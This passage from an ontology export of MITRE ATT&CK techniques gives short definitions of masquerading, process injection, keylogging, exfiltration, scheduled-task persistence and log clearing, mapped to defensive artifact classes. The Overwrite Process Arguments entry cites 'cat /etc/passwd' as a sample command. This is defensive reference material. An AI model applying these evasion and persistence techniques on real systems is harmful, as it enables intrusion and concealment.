may-modify: OperatingSystemExecutableFile
subclass of: Restriction
  on property: may-create
  some values from: ExecutableFile
subclass of: Restriction
  on property: may-modify
  some values from: OperatingSystemExecutableFile
subclass of: T1036

Masquerade Task or Service
type: Class
type: NamedIndividual
attack-id: T1036.004
definition: Adversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign. Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description.(Citation: TechNet Schtasks)(Citation: Systemd Service Units) Windows services will have a service name as well as a display name. Many benign tasks and services exist that have commonly associated names. Adversaries may give tasks or services names that are similar or identical to those of legitimate ones.
modifies: JobSchedule
subclass of: Restriction
  on property: modifies
  some values from: JobSchedule
subclass of: T1036

Match Legitimate Resource Name or Location
type: Class
type: NamedIndividual
attack-id: T1036.005
definition: Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster. Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous.
invokes: MoveFile
may-create: File
subclass of: Restriction
  on property: invokes
  some values from: MoveFile
subclass of: Restriction
  on property: may-create
  some values from: File
subclass of: T1036

Double File Extension
type: Class
type: NamedIndividual
attack-id: T1036.007
definition: Adversaries may abuse a double extension in the filename as a means of masquerading the true file type. A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: File.txt.exe may render in some views as just File.txt). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system’s policies.(Citation: PCMag DoubleExtension)(Citation: SOCPrime DoubleExtension)
modifies: FileSystemMetadata
subclass of: Restriction
  on property: modifies
  some values from: FileSystemMetadata
subclass of: T1036

Masquerade File Type
type: Class
attack-id: T1036.008
definition: Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file’s signature, extension, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file’s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file’s type. For example, the header of a JPEG file, is 0xFF 0xD8 and the file extension is either `.JPE`, `.JPEG` or `.JPG`.
subclass of: T1036

Break Process Trees
type: Class
attack-id: T1036.009
definition: An adversary may attempt to evade process tree-based analysis by modifying executed malware's parent process ID (PPID). If endpoint protection software leverages the “parent-child" relationship for detection, breaking this relationship could result in the adversary’s behavior not being associated with previous process tree activity. On Unix-based systems breaking this process tree is common practice for administrators to execute software using scripts and programs.(Citation: 3OHA double-fork 2022)
subclass of: T1036

Masquerade Account Name
type: Class
attack-id: T1036.010
definition: Adversaries may match or approximate the names of legitimate accounts to make newly created ones appear benign. This will typically occur during [Create Account](https://attack.mitre.org/techniques/T1136), although accounts may also be renamed at a later date. This may also coincide with [Account Access Removal](https://attack.mitre.org/techniques/T1531) if the actor first deletes an account before re-creating one with the same name.(Citation: Huntress MOVEit 2023)
subclass of: T1036

Overwrite Process Arguments
type: Class
attack-id: T1036.011
definition: Adversaries may modify a process's in-memory arguments to change its name in order to appear as a legitimate or benign process. On Linux, the operating system stores command-line arguments in the process’s stack and passes them to the `main()` function as the `argv` array. The first element, `argv[0]`, typically contains the process name or path - by default, the command used to actually start the process (e.g., `cat /etc/passwd`). By default, the Linux `/proc` filesystem uses this value to represent the process name. The `/proc/<PID>/cmdline` file reflects the contents of this memory, and tools like `ps` use it to display process information. Since arguments are stored in user-space memory at launch, this modification can be performed without elevated privileges.
subclass of: T1036

Logon Script (Windows)
type: Class
type: NamedIndividual
attack-id: T1037.001
definition: Adversaries may use Windows logon scripts automatically executed at logon initialization to establish persistence. Windows allows logon scripts to be run whenever a specific user or group of users log into a system.(Citation: TechNet Logon Scripts) This is done via adding a path to a script to the HKCU\Environment\UserInitMprLogonScript Registry key.(Citation: Hexacorn Logon Scripts)
modifies: UserInitScript
subclass of: Restriction
  on property: modifies
  some values from: UserInitScript
subclass of: T1037

Login Hook
type: Class
type: NamedIndividual
attack-id: T1037.002
definition: Adversaries may use a Login Hook to establish persistence executed upon user logon. A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. The plist file is located in the /Library/Preferences/com.apple.loginwindow.plist file and can be modified using the defaults command-line utility. This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks.(Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts Apple Dev)
modifies: UserInitScript
subclass of: Restriction
  on property: modifies
  some values from: UserInitScript
subclass of: T1037

Network Logon Script
type: Class
type: NamedIndividual
attack-id: T1037.003
definition: Group Policy Object / Active Directory Users and Computers are both Active Directory-based.
modifies: NetworkInitScriptFileResource
subclass of: Restriction
  on property: modifies
  some values from: NetworkInitScriptFileResource
subclass of: T1037

DLL Search Order Hijacking
type: Class
attack-id: T1038
definition: Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence.
comment: This technique has been revoked by T1574.001
subclass of: DefenseEvasionTechnique
subclass of: PersistenceTechnique
subclass of: PrivilegeEscalationTechnique
deprecated: true

Data from Network Shared Drive
type: Class
type: NamedIndividual
accesses: NetworkFileShareResource
attack-id: T1039
definition: Adversaries may search network shares on computers they have compromised to find files of interest. Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information.
subclass of: Restriction
  on property: accesses
  some values from: NetworkFileShareResource
subclass of: CollectionTechnique

Network Sniffing
type: Class
type: NamedIndividual
attack-id: T1040
definition: Adversaries may passively sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.
may-produce: DNSLookup
subclass of: Restriction
  on property: may-produce
  some values from: DNSLookup
subclass of: CredentialAccessTechnique
subclass of: DiscoveryTechnique

Exfiltration Over C2 Channel
type: Class
type: NamedIndividual
attack-id: T1041
definition: Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.
may-transfer: CertificateFile
produces: InternetNetworkTraffic
subclass of: Restriction
  on property: produces
  some values from: InternetNetworkTraffic
subclass of: Restriction
  on property: may-transfer
  some values from: CertificateFile
subclass of: ExfiltrationTechnique

Change Default File Association
type: Class
attack-id: T1042
definition: When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.
comment: This technique has been revoked by T1546.001
subclass of: PersistenceTechnique
deprecated: true

Commonly Used Port
type: Class
attack-id: T1043
definition: **This technique has been deprecated. Please use [Non-Standard Port](https://attack.mitre.org/techniques/T1571) where appropriate.**
comment: **This technique has been deprecated. Please use [Non-Standard Port](https://attack.mitre.org/techniques/T1571) where appropriate.**
subclass of: CommandAndControlTechnique
deprecated: true

File System Permissions Weakness
type: Class
attack-id: T1044
definition: Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.
comment: This technique has been revoked by T1574.010
subclass of: PersistenceTechnique
subclass of: PrivilegeEscalationTechnique
deprecated: true

Software Packing
type: Class
attack-id: T1045
definition: Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.
comment: This technique has been revoked by T1027.002
subclass of: DefenseEvasionTechnique
deprecated: true

Network Service Discovery
type: Class
attack-id: T1046
definition: Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port and/or vulnerability scans using tools that are brought onto a system.(Citation: CISA AR21-126A FIVEHANDS May 2021)
subclass of: DiscoveryTechnique

Windows Management Instrumentation
type: Class
type: NamedIndividual
attack-id: T1047
definition: Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is designed for programmers and is the infrastructure for management data and operations on Windows systems.(Citation: WMI 1-3) WMI is an administration feature that provides a uniform environment to access Windows system components.
may-create: IntranetAdministrativeNetworkTraffic
may-invoke: CreateProcess
subclass of: Restriction
  on property: may-invoke
  some values from: CreateProcess
subclass of: Restriction
  on property: may-create
  some values from: IntranetAdministrativeNetworkTraffic
subclass of: ExecutionTechnique

Exfiltration Over Symmetric Encrypted Non-C2 Protocol
type: Class
type: NamedIndividual
attack-id: T1048.001
definition: Adversaries may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
produces: OutboundInternetEncryptedTraffic
subclass of: Restriction
  on property: produces
  some values from: OutboundInternetEncryptedTraffic
subclass of: T1048

Exfiltration Over Asymmetric Encrypted Non-C2 Protocol
type: Class
type: NamedIndividual
attack-id: T1048.002
definition: Adversaries may steal data by exfiltrating it over an asymmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
may-transfer: CertificateFile
produces: OutboundInternetEncryptedTraffic
subclass of: Restriction
  on property: produces
  some values from: OutboundInternetEncryptedTraffic
subclass of: Restriction
  on property: may-transfer
  some values from: CertificateFile
subclass of: T1048

Exfiltration Over Unencrypted Non-C2 Protocol
type: Class
type: NamedIndividual
attack-id: T1048.003
definition: Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.(Citation: copy_cmd_cisco)
produces: OutboundInternetNetworkTraffic
subclass of: Restriction
  on property: produces
  some values from: OutboundInternetNetworkTraffic
subclass of: T1048

System Network Connections Discovery
type: Class
type: NamedIndividual
attack-id: T1049
definition: Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.
may-invoke: GetOpenSockets
subclass of: Restriction
  on property: may-invoke
  some values from: GetOpenSockets
subclass of: DiscoveryTechnique

New Service
type: Class
attack-id: T1050
definition: When operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet Services) A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry.
comment: This technique has been revoked by T1543.003
subclass of: PersistenceTechnique
subclass of: PrivilegeEscalationTechnique
deprecated: true

Shared Webroot
type: Class
attack-id: T1051
definition: **This technique has been deprecated and should no longer be used.**
comment: **This technique has been deprecated and should no longer be used.**
subclass of: LateralMovementTechnique
deprecated: true

Exfiltration over USB
type: Class
type: NamedIndividual
attack-id: T1052.001
definition: Adversaries may attempt to exfiltrate data over a USB connected physical device. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a USB device introduced by a user. The USB device could be used as the final exfiltration point or to hop between otherwise disconnected systems.
modifies: RemovableMediaDevice
subclass of: Restriction
  on property: modifies
  some values from: RemovableMediaDevice
subclass of: Exfiltration Over Physical Medium

At (Linux) Execution
type: Class
attack-id: T1053.001
definition: Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial, recurring, or future execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)
comment: This technique has been revoked by T1053.002
subclass of: T1053
deprecated: true

Cron
type: Class
attack-id: T1053.003
definition: Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.
subclass of: T1053

Launchd
type: Class
type: NamedIndividual
attack-id: T1053.004
creates: PropertyListFile
definition: This technique is deprecated due to the inaccurate usage. The report cited did not provide technical detail as to how the malware interacted directly with launchd rather than going through known services. Other system services are used to interact with launchd rather than launchd being used by itself.
comment: This technique is deprecated due to the inaccurate usage. The report cited did not provide technical detail as to how the malware interacted directly with launchd rather than going through known services. Other system services are used to interact with launchd rather than launchd being used by itself.
subclass of: Restriction
  on property: creates
  some values from: PropertyListFile
subclass of: T1053
deprecated: true

Scheduled Task
type: Class
type: NamedIndividual
attack-id: T1053.005
definition: Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel.(Citation: Stack Overflow) In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) (WMI) to create a scheduled task. Adversaries may also utilize the Powershell Cmdlet `Invoke-CimMethod`, which leverages WMI class `PS_ScheduledTask` to create a scheduled task via an XML path.(Citation: Red Canary - Atomic Red Team)
executes: ScheduledJob
subclass of: Restriction
  on property: executes
  some values from: ScheduledJob
subclass of: T1053

Systemd Timers
type: Class
attack-id: T1053.006
definition: Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension .timer that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the systemctl command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)
subclass of: T1053

Container Orchestration Job
type: Class
attack-id: T1053.007
definition: Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.
subclass of: T1053

Indicator Blocking
type: Class
attack-id: T1054
definition: An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting (Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW),(Citation: Microsoft About Event Tracing 2018) by tampering settings that control the collection and flow of event telemetry. (Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1086) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).
comment: This technique has been revoked by T1562.006
subclass of: DefenseEvasionTechnique
deprecated: true

Dynamic-link Library Injection
type: Class
type: NamedIndividual
adds: SharedLibraryFile
attack-id: T1055.001
definition: Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process.
invokes: SystemCall
loads: SharedLibraryFile
subclass of: Restriction
  on property: loads
  some values from: SharedLibraryFile
subclass of: Restriction
  on property: adds
  some values from: SharedLibraryFile
subclass of: Restriction
  on property: invokes
  some values from: SystemCall
subclass of: T1055

Portable Executable Injection
type: Class
type: NamedIndividual
attack-id: T1055.002
definition: Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process.
may-add: ObjectFile
subclass of: Restriction
  on property: may-add
  some values from: ObjectFile
subclass of: T1055

Thread Execution Hijacking
type: Class
type: NamedIndividual
attack-id: T1055.003
definition: Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process.
invokes: SystemCall
may-add: ExecutableBinary
subclass of: Restriction
  on property: invokes
  some values from: SystemCall
subclass of: Restriction
  on property: may-add
  some values from: ExecutableBinary
subclass of: T1055

Asynchronous Procedure Call
type: Class
type: NamedIndividual
attack-id: T1055.004
definition: Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process.
may-invoke: CreateProcess
subclass of: Restriction
  on property: may-invoke
  some values from: CreateProcess
subclass of: T1055

Thread Local Storage
type: Class
type: NamedIndividual
attack-id: T1055.005
definition: Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process.
invokes: SystemCall
subclass of: Restriction
  on property: invokes
  some values from: SystemCall
subclass of: T1055

Ptrace System Calls
type: Class
type: NamedIndividual
attack-id: T1055.008
definition: Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process.
invokes: SystemCall
subclass of: Restriction
  on property: invokes
  some values from: SystemCall
subclass of: T1055

Proc Memory
type: Class
type: NamedIndividual
accesses: OperatingSystemFile
attack-id: T1055.009
definition: Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process.
may-modify: OperatingSystemFile
subclass of: Restriction
  on property: may-modify
  some values from: OperatingSystemFile
subclass of: Restriction
  on property: accesses
  some values from: OperatingSystemFile
subclass of: T1055

VDSO Hijacking
type: Class
type: NamedIndividual
accesses: SharedLibraryFile
attack-id: T1055.014
definition: Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process.
invokes: SystemCall
subclass of: Restriction
  on property: invokes
  some values from: SystemCall
subclass of: Restriction
  on property: accesses
  some values from: SharedLibraryFile
subclass of: T1055

ListPlanting
type: Class
attack-id: T1055.015
definition: Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process. Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.
subclass of: T1055

Keylogging
type: Class
type: NamedIndividual
accesses: KeyboardInputDevice
attack-id: T1056.001
definition: Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems.(Citation: Talos Kimsuky Nov 2021)
subclass of: Restriction
  on property: accesses
  some values from: KeyboardInputDevice
subclass of: T1056

Web Portal Capture
type: Class
type: NamedIndividual
attack-id: T1056.003
definition: Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service.
modifies: WebApplication
subclass of: Restriction
  on property: modifies
  some values from: WebApplication
subclass of: T1056

Process Discovery
type: Class
type: NamedIndividual
attack-id: T1057
definition: Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Administrator or otherwise elevated access may provide better process details. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
may-invoke: CreateProcess
may-invoke: GetRunningProcesses
subclass of: Restriction
  on property: may-invoke
  some values from: CreateProcess
subclass of: Restriction
  on property: may-invoke
  some values from: GetRunningProcesses
subclass of: DiscoveryTechnique

Service Registry Permissions Weakness
type: Class
attack-id: T1058
definition: Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1086), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security)
comment: This technique has been revoked by T1574.011
subclass of: PersistenceTechnique
subclass of: PrivilegeEscalationTechnique
deprecated: true

Windows Command Shell
type: Class
attack-id: T1059.003
definition: Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: SSH in Windows)
subclass of: T1059

Unix Shell
type: Class
attack-id: T1059.004
definition: Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux and macOS systems, though many variations of the Unix shell exist (e.g. sh, bash, zsh, etc.) depending on the specific OS or distribution.(Citation: DieNet Bash)(Citation: Apple ZShell) Unix shells can control every aspect of a system, with certain commands requiring elevated privileges.
subclass of: T1059
alternative label: Bash Execution

Visual Basic
type: Class
attack-id: T1059.005
definition: Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft)
subclass of: T1059

Python
type: Class
attack-id: T1059.006
definition: Adversaries may abuse Python commands and scripts for execution. Python is a very popular scripting/programming language, with capabilities to perform many functions. Python can be executed interactively from the command-line (via the python.exe interpreter) or via scripts (.py) that can be written and distributed to different systems. Python code can also be compiled into binary executables.(Citation: Zscaler APT31 Covid-19 October 2020)
subclass of: T1059

JavaScript
type: Class
attack-id: T1059.007
definition: Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS)
subclass of: T1059

Network Device CLI
type: Class
attack-id: T1059.008
definition: Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands.
subclass of: T1059

Cloud API
type: Class
attack-id: T1059.009
definition: Adversaries may abuse cloud APIs to execute malicious commands. APIs available in cloud environments provide various functionalities and are a feature-rich method for programmatic access to nearly all aspects of a tenant. These APIs may be utilized through various methods such as command line interpreters (CLIs), in-browser Cloud Shells, [PowerShell](https://attack.mitre.org/techniques/T1059/001) modules like Azure for PowerShell(Citation: Microsoft - Azure PowerShell), or software developer kits (SDKs) available for languages such as [Python](https://attack.mitre.org/techniques/T1059/006).
subclass of: T1059

AutoHotKey & AutoIT
type: Class
attack-id: T1059.010
definition: Adversaries may execute commands and perform malicious tasks using AutoIT and AutoHotKey automation scripts. AutoIT and AutoHotkey (AHK) are scripting languages that enable users to automate Windows tasks. These automation scripts can be used to perform a wide variety of actions, such as clicking on buttons, entering text, and opening and closing programs.(Citation: AutoIT)(Citation: AutoHotKey)
subclass of: T1059

Lua
type: Class
attack-id: T1059.011
definition: Adversaries may abuse Lua commands and scripts for execution. Lua is a cross-platform scripting and programming language primarily designed for embedded use in applications. Lua can be executed on the command-line (through the stand-alone lua interpreter), via scripts (.lua), or from Lua-embedded programs (through the struct lua_State).(Citation: Lua main page)(Citation: Lua state)
subclass of: T1059

Hypervisor CLI
type: Class
attack-id: T1059.012
definition: Adversaries may abuse hypervisor command line interpreters (CLIs) to execute malicious commands. Hypervisor CLIs typically enable a wide variety of functionality for managing both the hypervisor itself and the guest virtual machines it hosts.
subclass of: T1059

Registry Run Keys / Startup Folder
type: Class
attack-id: T1060
definition: Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.
comment: This technique has been revoked by T1547.001
subclass of: PersistenceTechnique
deprecated: true

Graphical User Interface
type: Class
attack-id: T1061
definition: **This technique has been deprecated. Please use [Remote Services](https://attack.mitre.org/techniques/T1021) where appropriate.**
comment: **This technique has been deprecated. Please use [Remote Services](https://attack.mitre.org/techniques/T1021) where appropriate.**
subclass of: ExecutionTechnique
deprecated: true

Hypervisor
type: Class
attack-id: T1062
definition: **This technique has been deprecated and should no longer be used.**
comment: **This technique has been deprecated and should no longer be used.**
subclass of: PersistenceTechnique
deprecated: true

Security Software Discovery
type: Class
attack-id: T1063
definition: Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1063) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
comment: This technique has been revoked by T1518.001
subclass of: DiscoveryTechnique
deprecated: true

Scripting
type: Class
attack-id: T1064
definition: **This technique has been deprecated. Please use [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) where appropriate.**
comment: **This technique has been deprecated. Please use [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) where appropriate.**
subclass of: DefenseEvasionTechnique
subclass of: ExecutionTechnique
deprecated: true

Uncommonly Used Port
type: Class
attack-id: T1065
definition: Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.
comment: This technique has been revoked by T1571
subclass of: CommandAndControlTechnique
deprecated: true

Indicator Removal from Tools
type: Class
attack-id: T1066
definition: If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.
comment: This technique has been revoked by T1027.005
subclass of: DefenseEvasionTechnique
deprecated: true

Bootkit
type: Class
attack-id: T1067
definition: A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: MTrends 2016)
comment: This technique has been revoked by T1542.003
subclass of: PersistenceTechnique
deprecated: true

Exploitation for Privilege Escalation
type: Class
type: NamedIndividual
attack-id: T1068
definition: Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
enables: TA0004
may-modify: StackFrame
modifies: ProcessCodeSegment
subclass of: Restriction
  on property: modifies
  some values from: ProcessCodeSegment
subclass of: Restriction
  on property: may-modify
  some values from: StackFrame
subclass of: Restriction
  on property: enables
  some values from: TA0004
subclass of: PrivilegeEscalationTechnique

Local Groups
type: Class
attack-id: T1069.001
definition: Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.
subclass of: T1069

Domain Groups
type: Class
attack-id: T1069.002
definition: Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.
subclass of: T1069

Cloud Groups
type: Class
attack-id: T1069.003
definition: Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.
subclass of: T1069

Clear Windows Event Logs
type: Class
type: NamedIndividual
attack-id: T1070.001
definition: Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer's alerts and notifications. There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit.
modifies: EventLog
subclass of: Restriction
  on property: modifies
  some values from: EventLog
subclass of: T1070

Clear Linux or Mac System Logs
type: Class
type: NamedIndividual
attack-id: T1070.002
definition: Adversaries may clear system logs to hide evidence of an intrusion. macOS and Linux both keep track of system or user-initiated actions via system logs. The majority of native system logging is stored under the /var/log/ directory. Subfolders in this directory categorize logs by their related functions, such as:(Citation: Linux Logs)
modifies: OperatingSystemLogFile
subclass of: Restriction
  on property: modifies
  some values from: OperatingSystemLogFile
subclass of: T1070

Clear Network Connection History and Configurations
type: Class
attack-id: T1070.007
definition: Adversaries may clear or remove evidence of malicious network connections in order to clean up traces of their operations. Configuration settings as well as various artifacts that highlight connection history may be created on a system and/or in application logs from behaviors that require network connections, such as [Remote Services](https://attack.mitre.org/techniques/T1021) or [External Remote Services](https://attack.mitre.org/techniques/T1133). Defenders may use these artifacts to monitor or otherwise analyze network connections created by adversaries.
subclass of: T1070

Clear Mailbox Data
type: Class
attack-id: T1070.008
definition: Adversaries may modify mail and mail application data to remove evidence of their activity. Email applications allow users and other programs to export and delete mailbox data via command line tools or use of APIs. Mail application data can be emails, email metadata, or logs generated by the application or operating system, such as export requests.
subclass of: T1070

Clear Persistence
type: Class
attack-id: T1070.009
